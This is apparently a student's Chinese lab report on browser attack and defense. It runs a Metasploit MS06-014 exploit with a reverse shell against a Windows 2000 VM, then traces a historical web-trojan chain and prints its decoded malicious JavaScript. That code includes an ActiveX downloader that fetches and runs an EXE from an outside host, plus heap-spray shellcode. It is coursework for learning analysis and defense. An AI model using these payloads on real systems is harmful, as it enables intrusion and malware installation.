# 20251901 2024-2025-2 《网络攻防实践》实验十一
目录
实验十一 浏览器安全攻防实践
实验要求:
(1)web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
实验步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块
②选择PAYLOAD为任意远程Shell连接
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
(2)取证分析实践—网页木马攻击场景分析
实践过程:
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到
http://192.168.68.253/scom/hashed/
哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。
(3)攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
一、实验任务
- web浏览器渗透攻击:
依托Metasploit框架,利用IE浏览器MS06-014漏洞构造网页木马,生成恶意访问URL,靶机老旧IE浏览器访问后,攻击机获取靶机远程Shell会话,实现远程命令执行控制。 - 取证分析实践—网页木马攻击场景分析:
依托给定start.html文件溯源恶意链路,遵循获取地址-32位小写MD5哈希-哈希服务器下载文件-解密分析-循环溯源流程,逐层解密网页、脚本、可执行文件,梳理整套网页木马嵌套攻击链路,识别浏览器ActiveX组件漏洞,分析恶意程序下载、执行、篡改注册表行为。 - 攻防对抗实践—web浏览器渗透攻击攻防:
攻击方:使用Metasploit构造2类浏览器漏洞攻击代码,代码混淆后拼接恶意URL,通过钓鱼邮件投递链接;防守方:提取链接、代码解混淆、还原原始攻击代码,判定漏洞类型、攻击组件,识别木马免杀混淆手段。
二、实验材料或资源
- Kali虚拟机
- Win2k Server虚拟机
- WinXPattacker虚拟机
- start.html文件(老师提供)
- 名为“参考答案”的压缩包(老师提供)
三、知识点梳理
-
1. MS06-014漏洞核心原理
MS06-014是微软Internet Explorer浏览器高危远程代码执行漏洞,漏洞编号CVE-2006-3459,存在于IE浏览器clsid:BD96C556-65A3-11D0-983A-00C04FC29E36对应的Adodb.Stream组件中。老旧未打补丁Windows2000/XP系统IE浏览器,恶意网页可非法调用该ActiveX控件,篡改内存缓冲区,执行攻击者注入的Shellcode,实现攻击者远程接管主机,本实验全部浏览器挂马均依托该漏洞及第三方播放器ActiveX控件漏洞实现。 -
2. 网页木马嵌套攻击原理
传统网页木马采用多层嵌套加载机制:首页HTML文件引流JS脚本→JS脚本判定浏览器组件是否存在漏洞→根据漏洞类型差异化加载恶意脚本/CAB组件/EXE程序→恶意程序下载落地执行,本次实验木马分为四层嵌套:引流htm文件→加密JS脚本→漏洞判定脚本→可执行木马程序。- 网页挂马基础概念
网页木马本质就是普通的 HTML、ASP、PHP、JSP 等格式网页,从外观上和正常网页没有区别,但页面内部嵌入了恶意脚本,这类脚本会利用浏览器和第三方软件存在的安全漏洞,在用户毫无察觉的情况下,由浏览器后台自动下载并运行木马程序,而黑客将恶意代码植入正常网页的行为,就被称作挂马。按照传播形式划分,网页木马主要分为被动挂马和主动挂马两类,被动挂马是黑客入侵高流量正规网站植入恶意代码,依靠网站原有访客实现大范围感染,主动挂马则偏向钓鱼攻击,黑客通过 QQ、邮件、社交软件等渠道发送虚假链接诱导用户点击。除此之外网页木马还衍生出多种形态,包括利用邮件 HTML 格式漏洞的邮件网页木马、本地高权限运行的 CHM 电子书木马,以及嵌入在视频、Flash 文件中的多媒体网页木马,进一步拓宽了攻击渠道。 - 网页挂马核心工作原理
早期网页挂马主要以 IE 浏览器为攻击目标,IE 的标准运行流程为下载 HTML 页面、解析页面内容与组件、渲染页面元素,而网页挂马正是利用解析、组件调用、页面渲染这三个环节存在的漏洞实施攻击。整个挂马攻击整体分为木马下载和木马执行两大核心阶段,在木马下载阶段,黑客会将木马伪装成图片、插件等常规页面资源,或是借助脚本、COM 组件、文件格式溢出等各类漏洞,让浏览器在后台自动将木马文件下载到本地;木马完成下载后,会继续依托格式溢出、脚本漏洞、组件漏洞等方式,或是借助第三方程序间接启动本地木马,最终完成恶意程序的运行。 - 主流挂马实现方式
网页挂马发展出了多类实现手段,基础方式是利用 HTML 隐形 iframe 标签挂马,通过将标签宽高设置为零,让恶意页面在前台不可见却能正常加载执行,这类方式特征明显,在网页源码中很容易被发现。使用 JavaScript 代码挂马是当下更主流的选择,隐蔽性更强,黑客可以通过document.write动态生成隐形框架、window.open弹出极小隐形窗口,或是借助鼠标悬浮事件触发跳转等方式植入恶意代码,同时还会对 JS 代码进行加密处理,进一步提升排查难度。除此之外,还能利用页面加载事件、CSS 样式、分割框架等网页技术实现挂马。除前端页面手段外,还有高阶的服务端与网络层挂马技术,攻击者可以利用 IIS、ISAPI 服务器漏洞、网站数据库过滤缺陷、第三方统计站点,或是局域网 ARP 欺骗等方式,实现全站批量挂马或是网络流量劫持挂马,攻击覆盖面和危害性会大幅提升。 - 网马常用加密与混淆技术
为躲避杀毒软件查杀和人工代码审计,黑客会对恶意网页与 JS 代码进行加密、编码和混淆处理,其中基础的进制编码应用十分广泛,十六进制编码会以\x作为前缀,八进制编码则以数字反斜杠为标识,二者都可以通过专用工具或是替换eval为alert的简易方式完成解密。Base64 是通用编码格式,由字母、数字和特定符号组成,末尾常出现补位等号,它经常和 XXTEA 轻量级对称加密算法组合使用,形成双层加密结构,这类组合加密需要获取正确密钥才能完整解密。漏洞利用场景中还会大量使用 Shellcode 代码,这类二进制指令代码常采用%u宽字符编码形式,需要通过专门工具解码提取其中的木马下载链接。同时黑客还会对 JS 代码进行打包混淆,打乱变量与代码逻辑,这类混淆代码同样可以依靠专业解包工具还原,实战解密一般遵循由外到内逐层解码的原则。 - 漏洞利用
网页挂马能够成功执行的核心原因就是滥用各类软件与组件漏洞,本次18dd.net案例中主要利用了四款高危组件漏洞,分别是用于文件和网络传输的 Adodb.Stream 数据库组件、暴风影音播放器控件、PP 播放器控件以及百度搜霸工具栏控件,黑客会编写代码尝试调用这些组件,只要其中一款存在漏洞,就能完成木马的下载与运行。除了这类第三方 ActiveX 控件漏洞外,网页挂马还会利用 ANI 图标、Flash 等文件的格式溢出漏洞,以及 IE 浏览器自身内核解析漏洞,这些漏洞都会被恶意脚本利用,突破权限限制执行恶意指令,也是早期网页挂马泛滥的主要原因。 - 落地木马行为
网页木马仅作为下载载体,真正的恶意行为由下载到本地的 EXE 木马程序执行,这批木马首先会采取各类对抗手段躲避安全防护,比如篡改系统时间使杀毒软件病毒库失效、破坏安全软件的监控挂钩、针对性屏蔽主流安全工具,还会创建批处理文件实现运行后自我删除,抹去攻击痕迹。为实现长期驻留,木马会篡改系统注册表、创建伪装系统服务、在磁盘生成自动运行文件,同时将恶意 DLL 注入系统进程,依靠进程实现隐蔽开机自启。该案例中的主木马属于一级下载器,会批量下载数十个次级木马形成木马群,而所有木马的最终恶意目的集中在盗取网游、社交账号密码,推送恶意广告、植入远程控制后门以及窃取用户隐私数据等方面。 - 网页挂马检测、分析与防御
网页挂马的检测分为静态检测和动态检测两大方向,静态检测主要依靠恶意代码特征匹配、页面资源溯源、文件数字签名校验等方式,在不运行代码的前提下识别威胁;动态检测则会监控浏览器进程、文件读写、注册表修改、系统配置篡改等行为,判断是否存在异常攻击动作。针对网页挂马需要从普通用户和网站管理员两个维度搭建防御体系,普通用户需要及时修补系统、浏览器和第三方软件的漏洞,谨慎点击陌生链接,开启终端安全防护并加固浏览器配置、关闭磁盘自动播放功能。网站管理员则需要做好服务器加固、严格过滤网页输入内容、合理分配目录权限,定期巡检页面源码,同时谨慎引入第三方外部脚本,从服务端杜绝网站被挂马的风险。
- 网页挂马基础概念
-
3. 加密与哈希取证原理
- 32 位 MD5 哈希与取证原理
MD5 是经典的单向哈希算法,也是网络安全、恶意代码取证中最常用的摘要算法之一,我们日常使用的 32 位 MD5 哈希是其标准输出形式,它会将任意长度的文件、字符串数据进行运算,最终生成一组由数字和小写英文字母组成、固定长度为 32 字符的哈希值。MD5 属于单向不可逆算法,正常情况下无法通过最终的哈希值反向还原出原始数据,这一特性让它在文件校验、恶意代码取证领域被广泛使用。在网页挂马、恶意文件分析的取证场景中,工作人员不会直接传播原始恶意文件,而是先对解密出的 URL、脚本、可执行文件等原始数据计算 32 位 MD5 值,再以该哈希字符串作为文件名存储和分发文件,既可以规避恶意文件直接传播带来的风险,也能精准校验文件完整性,只要原始数据发生哪怕一个字符、一个字节的改动,对应的 32 位 MD5 值就会完全改变,以此判断文件是否被篡改、是否为同源恶意样本。同时在溯源分析中,安全人员可以通过全网比对 MD5 哈希库,快速匹配已知恶意样本,确定文件的威胁类型、传播链路和同源样本,这也是恶意代码取证、威胁溯源的核心手段。需要注意的是 MD5 算法如今已被证实存在碰撞漏洞,可人为制造不同数据生成相同 MD5 值,因此在高安全等级取证场景中会搭配其他哈希算法使用,但在常规恶意样本分发、初级校验场景里,32 位 MD5 依旧是主流选择。 - XXTEA+Base64 双层加密原理
XXTEA+Base64 是恶意网页脚本、远控配置、恶意载荷中十分常见的双层组合加密方式,二者分工不同、层层嵌套,主要作用是混淆代码、绕过杀毒软件和人工审计。Base64 是一种通用的数据编码方式,不属于严格意义上的加密,它会将原始二进制、文本数据按照固定规则重新编码,把数据拆分为 6 比特单元并映射为大小写字母、数字、+、/这 64 个可打印字符,数据长度不足时会用=补位,Base64 编码完全可逆,不需要密钥就能直接解码还原原始内容。而 XXTEA 是一款轻量级对称加密算法,必须依靠专属密钥才能完成加解密,缺少密钥就无法还原原始数据。在双层加密的实际应用中,黑客一般会采用 “先 XXTEA 加密、后 Base64 编码” 的顺序,先使用自定义密钥对原始恶意 JavaScript、Shellcode、配置信息等核心内容进行 XXTEA 加密,打乱原始代码逻辑,再将加密后的二进制数据通过 Base64 转为普通文本,让代码看起来杂乱无章,大幅提升识别和解密难度。在取证与分析过程中,需要按照从外到内的顺序逐层处理,先对整体内容进行 Base64 解码,得到 XXTEA 加密后的密文,再通过逆向工程、代码溯源等方式找到配套密钥,最终解密获取明文代码,该组合加密也是早期网页挂马脚本里最典型的混淆手段。 - Packed 壳加密原理
Packed 壳俗称压缩壳、加壳,是可执行文件(EXE、DLL 等)最常用的保护与混淆技术,在恶意程序、正规软件中都被广泛使用,攻防场景里主要用于保护程序代码、绕过杀毒软件的静态特征查杀。加壳的本质是对原始可执行文件的代码、数据、资源进行压缩和加密,同时在文件头部嵌入一段专门的壳引导代码,当系统运行加壳后的程序时,操作系统首先执行壳代码,壳会在内存中完成原始程序的解密、解压缩,再将程序执行权限转交回原始代码,整个过程在内存中完成,磁盘上始终是加壳后的文件。Packed 壳分为普通压缩壳和加密壳,常见的 UPack、ASPack 都属于典型 Packed 壳,加壳后的文件体积通常会小于原始文件。从恶意代码分析和取证角度来看,加壳会导致静态分析失效,反编译、字符串读取等工具无法直接获取原始程序代码、功能字符串,增加分析难度。对应的分析手段分为脱壳和动态调试,简单 Packed 壳可以使用专用脱壳工具自动还原原始文件,复杂加密壳则需要借助调试器动态跟踪程序运行流程,在内存中抓取解壳完成后的原始镜像。同时安全人员也可以通过 PE 检测工具识别壳的类型、版本,结合壳的特征快速制定脱壳和分析方案,这也是恶意可执行文件分析的基础步骤。 - 反向 Shell 原理
反向 Shell 也叫反弹 Shell,是网络渗透、远控木马中核心的交互技术,和正向 Shell 主动连接目标主机不同,反向 Shell 的核心逻辑是被控主机主动向外发起网络连接,连接到攻击者控制的服务器(监听端),进而实现远程命令交互、主机控制。常规正向 Shell 需要攻击者主动访问目标主机,一旦目标主机存在防火墙、内网环境、端口过滤,连接就会被阻断,而反向 Shell 完美规避了这一问题,内网主机、开启防火墙的设备都可以主动外联。具体运行流程为:攻击者首先在公网服务器或本机开启端口监听,等待连接请求;恶意程序(木马、WebShell、漏洞载荷)在受害主机运行后,会主动根据预设 IP 和端口,向监听服务器发起 TCP/UDP 网络连接;连接建立成功后,受害主机的命令行交互权限就会转移到攻击者设备上,攻击者可以远程执行系统命令、读写文件、操控主机、窃取数据。在网页挂马、漏洞利用场景中,Shellcode、落地木马经常内置反向 Shell 功能,一旦成功执行就会主动反弹连接。在取证分析时,安全人员可以通过监控网络连接、查看程序中的 IP 地址、端口字符串、网络调用函数,溯源攻击者的服务器地址、通信端口,同时结合流量分析抓取交互数据,还原攻击者执行的所有操作,反向 Shell 的网络特征、进程行为也是威胁溯源和案件取证的重要依据。
- 32 位 MD5 哈希与取证原理
-
4. 实验工具原理及功能介绍
- Metasploit(MSF)
网络攻防一体化渗透框架,Kali内置自带,四大核心模块:渗透攻击模块(exploit)、载荷模块(payload)、辅助模块、后渗透模块。本次使用exploit/windows/browser/ie_createobject专属MS06-014攻击模块,自动封装漏洞代码、开启本地Web服务、生成恶意挂马URL,一站式完成挂马搭建、会话监听、后渗透控制。 - 在线哈希加密工具(esjson)
支持MD5、SHA全系哈希在线计算,本实验固定使用32位小写MD5加密,匹配哈希服务器文件命名规则,实现恶意文件寻址下载。 - IDA Pro静态反汇编工具
二进制程序逆向分析工具,可查看exe程序字符串、汇编代码、程序流程图,用于分析木马修改注册表、下载外联文件、权限操作等恶意行为。 - 辅助解密工具
在线XXTEA解密工具、Packed脱壳工具、进制转换工具:分别用于对称加密脚本解密、加壳Shellcode脱壳、十六进制/八进制/Unicode代码转可读源码。
- Metasploit(MSF)
四、实验思路
- web浏览器渗透攻击
实践思路:先确认攻击机和 Windows 靶机网络能互相连通,打开 MSF 工具找到 MS06-014 对应的 IE 漏洞攻击模块,选反向 shell 载荷方便攻击机接收连接,填好自己攻击机的 IP 地址后运行程序生成恶意网页链接,接着用靶机里老旧 IE 打开这个链接,最后回到攻击机工具里查看有没有建立连接,连上之后远程输入命令验证是否能控制靶机 - 取证分析实践—网页木马攻击场景分析
实践思路:从给出的初始网页文件入手找到下一级网页地址,每拿到一个网络地址就算出它 32 位小写 MD5 值,拿着这个哈希字符串去指定服务器下载对应文件,下载完先分辨文件类型,如果是网页、脚本类文件就找对应的密钥和解密工具把加密内容解开,提取里面新的网络地址重复算哈希下载解密的步骤,如果是 exe 这类程序文件就用反汇编工具查看里面的恶意行为,一直重复这个流程直到所有关联恶意文件全部分析完毕。 - 攻防对抗实践—web浏览器渗透攻击攻防
实践思路:攻击方继续用 MSF 做出两种不同浏览器漏洞的恶意网页代码,往代码里加大量空白字符做混淆处理,再把生成的恶意链接放到欺骗邮件里发给防守方,防守方拿到邮件先把里面的恶意链接提取出来,用工具清理掉混淆用的多余空白字符还原原始网页代码,再从代码里找出对应的控件标识,判断这段恶意代码利用了浏览器的哪个漏洞。
五、实验详细过程
5.1web浏览器渗透攻击
-
首先查看 Kali 攻击机 IP、Win2000 靶机 IP,然后判断二者连通性。
![image]()
![image]()
得到:
Kali 攻击机 IP:192.168.188.10、Win2000 靶机 IP:192.168.188.4
![image]()
本次渗透依靠两台虚拟机网络互通才能完成数据传输,攻击机需要和靶机处于同一局域网,后续靶机访问恶意网页、建立反向连接都依赖网络连通性,先核对 IP 可以提前规避网段不通导致实验失败的问题,确认两台机器能互相 ping 通后再开展后续操作。 -
Kali 终端输入
msfconsole启动工具
![image]()
-
执行
search MS06-014命令
![image]()
由图可见执行后仅返回一条匹配模块 exploit/windows/browser/ie_createobject
search 是 MSF 内置检索指令,输入漏洞编号就能快速筛选框架内所有对应漏洞的利用脚本,不用手动翻找海量模块文件;MS06-014 是老旧 IE 的 ActiveX 控件远程代码执行漏洞,专门针对未打补丁的 Windows2000 系统 IE 浏览器,截图里该模块 Rank 标注为 excellent,代表漏洞利用成功率很高,是本次实验唯一可用模块。 -
执行
use exploit/windows/browser/ie_createobject
use 指令作用是加载指定漏洞利用模块,加载后 MSF 控制台前缀会显示该模块路径,代表后续所有配置、操作都围绕 MS06-014 漏洞展开,模块内部已经封装好了触发 IE 控件漏洞的网页代码,不用我们手动编写恶意 HTML,简化攻击搭建流程。
![image]()
如果想要看target 列表,可以输入命令show targets
![image]()
-
执行
show payloads命令
![image]()
payload 是漏洞触发成功后,在靶机上执行的后门程序,show payloads 会列出当前漏洞所有支持的后门类型;载荷分正向连接、反向连接两类,正向 shell 需要靶机开放端口,容易被系统防火墙拦截,反向 shell 让靶机主动向外连接攻击机,虚拟机默认防火墙不会拦截出站请求,内网实验稳定性更高,所以我们要从列表里选择反向 TCP 类型载荷。 -
执行
set payload windows/shell_reverse_tcp
设置攻击机IP地址set LHOST 192.168.188.10
![image]()
set 是 MSF 参数配置指令,这条命令把攻击后门设置为 windows 反向命令行 shell,漏洞触发后靶机会主动发起 TCP 连接到攻击机,给我们返回一个可以输入系统命令的交互式终端,实现远程控制,这是内网浏览器渗透最通用的载荷方案。
LHOST 全称 Local Host,代表攻击机自身监听 IP,反向 shell 建立时靶机需要知道要连接哪台机器,必须填写 Kali 本机局域网 IP,不能填 127.0.0.1 本地回环地址,否则靶机无法找到攻击机,不会生成连接会话,第三张截图中程序会基于该 IP 启动 4444 端口监听服务,专门接收靶机回连请求。 -
执行
exploit启动攻击服务
![image]()
exploit 是执行漏洞利用的核心指令,执行后会同时完成三件事:第一,在攻击机本地开启 8080 端口简易 Web 服务器,存放 MS06-014 恶意网页;第二,在 4444 端口启动反向 TCP 监听程序,等待靶机回连;第三,随机生成一串网页访问路径,拼接攻击机 IP 形成唯一恶意 URL http://192.168.188.10:8080/bvTfFCZRVp50IK ,这个 URL 就是网页木马访问地址,截图里同时打印 0.0.0.0 泛听地址和本机 IP 地址,0.0.0.0 代表服务器接收全网段设备访问,Local IP 才是靶机需要打开的有效链接。
在上图中我们可以看到两个不同URL:
Using URL: http://0.0.0.0:8080/bvTfFCZRVp50IK ——这是 Metasploit 服务在本机上的监听地址。 0.0.0.0 代表 “监听本机所有网卡”,不管哪个 IP 进来的请求,Metasploit 都能收到。它不是给目标电脑访问的地址,只是告诉 Metasploit 自己要怎么工作。如果直接让 Windows 2000 访问 0.0.0.0,它会理解成 “访问自己”,根本找不到 Kali 上的服务,所以会打不开。
![image]()
Local IP: http://192.168.188.10:8080/bvTfFCZRVp50IK ——这是 Metasploit 自动识别出的、Kali 虚拟机的真实 IP 地址。这才是目标 Windows 2000 虚拟机应该访问的正确地址。 目标访问这个地址,才能找到 Kali 上的 Metasploit 服务,触发漏洞。 -
Windows2000 靶机 IE 浏览器输入恶意 URL 访问
![image]()
![image]()
老旧 IE 访问该地址时,会加载网页内封装的 MS06-014 漏洞代码,尝试非法调用 Adodb.Stream ActiveX 控件,页面出现乱码随机字符是漏洞代码执行时的页面输出,不影响漏洞触发;此时浏览器后台已经向攻击机 Web 服务器请求漏洞 HTML 和后门 EXE 文件,从图中能看到攻击机日志打印正在向 192.168.188.4 发送漏洞网页、发送 EXE 载荷。
攻击机自动建立会话,日志提示 session 1 opened。原理:靶机加载完后门程序后,自动主动连接攻击机 4444 监听端口,双向 TCP 通道建立完成,MSF 生成编号 1 的受控会话,代表渗透攻击成功,攻击机已经拿到靶机系统控制权限。 -
输入
sessions -i 1命令,进入 1 号交互式会话 -
远程 shell 内执行
ipconfig命令,输出靶机网卡信息 192.168.188.4
![image]()
sessions 指令用于管理所有受控主机会话,-i 参数代表 interact 交互,数字 1 是会话编号,执行后我们就能直接在攻击机终端输入 Windows 系统命令,相当于直接操作靶机 CMD 控制台。
输入ipconfig验证我们已经拥有靶机完整命令执行权限,截图中清晰打印靶机 IP、子网掩码、网关,证明远程命令可以正常运行。
5.2取证分析实践—网页木马攻击场景分析
-
首先从学习通上下载start.html文件以及名为“参考答案”的压缩包(压缩包中有我们实验所需的 MD5 散列值为文件名的所有文件等)。使用共享文件夹的方式,将上述材料上传至WinXPattacker虚拟机。
-
在WinXPattacker虚拟机中,使用记事本打开start.html文件查看源码
![image]()
start.html 是本次木马溯源的唯一起始入口文件,所有恶意外链都需要从这个基础文件逐层提取,选用 WinXP 虚拟机做取证是因为本次恶意代码全部针对 XP 系统 IE、各类 ActiveX 控件,系统环境和当年木马运行环境一致,记事本是最简单的文本查看工具,能无格式读取 HTML 原始源码,浏览器打开会直接执行恶意代码,存在安全风险,因此必须用记事本纯文本模式打开,避免意外触发攻击。 -
在记事本中搜索“new09.htm”,找到两处:
![image]()
![image]()
下一级文件 new09.htm,这是溯源链路的第二层节点,没有这个文件就无法继续提取恶意外链。
此外,在这行代码中,
iframe> 标签:作用是在当前网页里嵌入另一个网页。
width="0" height="0":把这个嵌入的网页宽高设为 0,用户在浏览器里完全看不到它。
src="new09.htm":嵌入的目标文件,就是你要分析的挂马页面。
所以,start.html 里的这行代码,就是在用户访问 start.html 时,偷偷在后台加载 new09.htm,用户完全感知不到。 -
至于new09.htm文件,作者当年是从真实文件里扒出的代码,当年的挂马网站、aa.18dd.net、js.users.51.la 这些恶意 / 广告网站,现在大多已经失效、被封禁或者域名过期了,你就算知道 URL,也根本访问不到,更别说下载文件了。我们手里只有老师发的 start.html,没有真实的挂马服务器环境,没法像作者那样让浏览器自动请求并下载 new09.htm。因此为了实现实验的完整性(假装我们也下载了),我们可以手动新建 new09.htm,把文档里的代码复制进去,然后修改文件后缀,自己“创造”一个new09.htm仅供实验使用
![image]()
-
在new09.htm 文件中,提取两个外链地址 http://aa.18dd.net/aa/kl.htm 、http://js.users.51.la/1299644.js
new09.htm 使用 iframe 框架和 script 标签嵌入了两个远程资源地址,iframe 会自动加载 kl.htm 页面,script 标签会自动拉取执行 js 脚本,攻击者把真正的恶意代码藏在远程外链里,不会全部写在主页面,拆分多层文件能增加溯源难度,所以取证必须把页面里所有远程网络地址完整提取,不能遗漏任意一条外链。 -
打开在线 MD5 哈希工具网站 http://www.esjson.com/hashEncrypt.html ,分别计算两条外链 32 位小写 MD5 哈希值,得到 7f60672dcd6b5e90b6772545ee219bd3、23180a42a2ff1192150231b44ffdf3d3,
![image]()
![image]()
-
使用哈希值作为文件名去老师给的“参考答案”文件夹找对应文件。
打开文件 23180a42a2ff1192150231b44ffdf3d3,内容为:“本文件内容是流量统计代码,不是木马”读取内容判定为无害流量统计代码,无恶意信息直接跳过分析
![image]()
-
打开哈希文件 7f60672dcd6b5e90b6772545ee219bd3,文件内容是 Base64+XXTEA 双层加密代码,末尾\x73\x63\x72\x69\x70\x74为十六进制密钥 ,该密钥使用十六进制加密,对其转换为字符串script,
![image]()
![image]()
-
使用在线 XXTEA 解密工具解密文件(https://tool.bugku.com/safe/xxtea.php ),输入密文和密钥 script,
![image]()
网页木马普遍使用双层加密规避杀毒软件静态扫描,Base64 先对原始 JS 编码,再用 XXTEA 对称加密二次封装,不解密完全无法看懂代码逻辑;密钥藏在文件末尾,十六进制字符是 ASCII 编码写法,转成明文 script 才能作为解密密钥,对称加密必须配套正确密钥才能还原原始代码,解密后得到一串带 \xxx 格式的十六进制 eval 执行代码。 -
将解密得到的十六进制代码复制到在线进制转换工具,转成可读完整 JS 源码
![image]()
得到代码:
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
-
\x 开头的字符是 JS 十六进制编码,用来隐藏明文关键词,杀毒引擎简单匹配无法识别攻击特征,在线转换工具批量将十六进制字符还原成普通英文代码,才能看懂页面完整执行逻辑。还原后的代码核心是创建 Adodb.Stream、播放器、百度工具栏四类 ActiveX 控件对象,对应四个不同漏洞,同时通过 document.write 加载四条新恶意脚本外链,是本次溯源的第三层恶意地址,需要继续哈希下载分析。其中 clsid:BD96C556-65A3-11D0-983A-00C04FC29E36 就是任务一用到的 MS06-014 漏洞控件标识,前后实验内容形成对应。
-
在上述代码中,我们可以发现其利用了四个漏洞,分别对他们求md5值为
http://aa.18dd.net/aa/1.js
5d7e9058a857aa2abee820d5473c5fa4
http://aa.18dd.net/aa/b.js
3870c28cc279d457746b3796a262f166
http://aa.18dd.net/aa/pps.js
5f0b8bf0385314dbe0e5ec95e6abedc2
http://down.18dd.net/bb/bd.cab
1c1d7b3539a617517c49eee4120783b2
![image]()
![image]()
![image]()
![image]()
-
接下来对上述四个漏洞逐一查看并分析。我们首先要在老师给的压缩包中找到这些文件——
-
在压缩包中找到文件名为md5值5d7e9058a857aa2abee820d5473c5fa4的文件,用记事本打开文件
![image]()
发现其为十六进制文件,转换为字符串:
![image]()
var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open
("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close
();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}
- 可见该文件调用了 http://down.18dd.net/bb/014.exe 。
这段 JS 依靠 Adodb.Stream 控件发起 HTTP 请求,远程下载 014.exe 到本地磁盘,调用 Shell.Application 启动 cmd 运行程序,完整利用 MS06-014 漏洞实现后门落地执行,代码里包含新的 exe 下载地址,继续计算其 MD5 哈希值为ca4e4a1730b0f69a9b94393d9443b979:
![image]()
- 找到文件ca4e4a1730b0f69a9b94393d9443b979并用记事本打开,从首段代码中的 p,a,c,k,e,d 中可以看出,该文件应该是使用了 packed 加密
![image]()
- 使用工具猫packed解密工具解密此文档
![image]()
得到如下结果:
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068) buffer += "\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)
- Packed 是 JS 脚本专用压缩加壳手段,把完整 shellcode 压缩转义,肉眼无法识别代码功能,脱壳工具还原完整 unescape 封装的 shellcode;shellcode 是内存执行的机器码,用于缓冲区溢出攻击,代码里所有网络地址都以 URL 标准符号 / 分隔,对应十六进制 2F,只需要批量检索 2F 字符就能快速定位完整下载链接,不用逐行解析海量机器码,大幅降低分析难度。
